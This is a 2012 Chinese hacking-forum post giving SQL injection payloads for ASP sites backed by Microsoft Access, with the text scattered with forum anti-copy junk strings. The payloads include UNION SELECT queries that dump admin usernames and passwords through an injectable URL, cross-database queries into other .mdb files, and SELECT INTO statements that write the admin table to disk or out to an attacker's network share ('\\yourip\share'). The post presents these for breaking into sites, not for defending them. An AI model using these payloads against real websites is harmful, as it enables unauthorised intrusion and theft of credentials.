找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2340|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------$ A# n5 H1 N5 f% ], H$ D
union查询法8 @9 |7 Y% p# B- Q" P4 {+ E1 n
首先要说的就是查询办法,一般的查询办法就是
6 [4 n  W; ]3 c) }9 ]+ g/ c9 P( B) y( u  o
程序代码
0 E5 i( w) S3 a" Y, t. c/ ]and 1=(select count(*) from admin where left(id,1)='1')
7 i) g3 k' V& b% g+ P" `, ~# o5 |! y4 n! {
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.$ M6 s/ Q# v) K- Y' z2 ~
所以这个时候,union select横空出现.别以为只能在PHP里用哦..." a' q9 c  A1 f7 v5 ~2 [, M' b
譬如你有一个ACCESS点:3 Z$ u. f- \3 ^
程序代码- O5 R* _( X- P* w) Q$ N" l
http://bbs.tian6.com/xiaoyang.asp?coder=1
, y8 J( i2 a6 z' G3 @
4 n+ P8 I( O6 L. ~  H! I知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
) p  {) r; r& C) L- W然后我们直接来:4 }  o. g9 A7 @
程序代码
4 ~$ ^( P6 i6 Y  Fhttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]8 i+ c$ `( T1 ~% H" {3 t# n

& Y* J3 [6 n5 l, @这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
* R0 n' O7 I$ Y
' X$ h! `' N% g# P1 c( l
7 Z2 x# M& U4 r; w4 j1 X6 U3 x/ w# _: v! \
---------------------------------------------------------------
* w& {8 k% K) f- t& ?9 H( R) uAccess跨库查询' k. }7 r: M2 i* W( x+ }
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
" q: T4 E+ n$ p$ k1 ^跨库的查询语句:) w' a6 d1 [7 i) w! @
子查询:
  e  v1 Z7 B" Y% ?程序代码; c6 v( o5 R- `' m! ]2 a
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
3 o: `. }  P! D1 H2 c+ }- E
- ^1 i& D1 C2 ~! Y0 F5 }( @7 `5 P9 _union查询:
2 u* t2 \" K  {* C程序代码
& `3 E) E9 g5 r6 Vunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
: D) x; h6 _$ f3 X; I& _/ W1 L
' ?2 P4 t' I; ]" K0 Z跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:$ c' Z% C/ Z# K8 w/ @% V) E
程序代码
5 W+ t, Z( ?3 T% [, Uhttp://www.4ngel.net/article/46.htm & G! `+ z5 b- O/ \6 U
http://hf110.com/Article/hack/rqsl/200502/66.html" q2 q: M7 V4 h: }/ o% p' Y
- |" B* O* f' V! ?" [/ w3 e4 v
---------------------------------------------------------------, H5 c3 ]: Y9 s' N9 b7 N
Access注入,导出txt,htm,html8 e8 x7 g2 |' O6 P/ v( s& l. i# A
子查询语句:
) L2 B1 j( r+ ?6 s, H程序代码
  @6 Y, b3 a* O" KSelect * into [test.txt] in 'd:\web\' 'text;' from admin
% M2 m5 q5 u7 m$ o/ x. r& C8 E! h+ W( L/ j. R$ f4 ^
这样就把admin表的内容以test类型存进了d:\web里面.
  i# [/ x3 ^2 D5 \* G* z# }UNION查询:! Y6 F& w, E  e, ]/ x* S* b/ J
程序代码
+ H' Y- ?# T* m0 G; p4 Y: ?union select * into [admin.txt] in 'c:\' 'test;' from admin
& M* d( y) h, g3 T2 s+ l  P  H* p$ a+ N+ K) \
而且这里也可以保存到本地来:
, t. b% [& ]# @$ t9 v) ?程序代码9 q% ~  ^3 M, a7 N& n& d+ v0 b
Select * into [test.txt] in '\\yourip\share' 'text;' from admin9 \. N& y4 y! \, q6 W, l$ {4 w8 V& |

& z/ z0 R8 U. r- o. S1 e$ z不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:: ?# [  m" Q; ?3 b

& c; x4 B# D1 W# i程序代码4 Z/ k. K+ c3 w+ {4 ~4 |7 A
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
! g/ a# g$ A0 V1 H0 N. p7 G
6 g5 ^5 S8 g/ ]8 u- @因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
5 w6 ~8 `9 A  C9 j+ ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表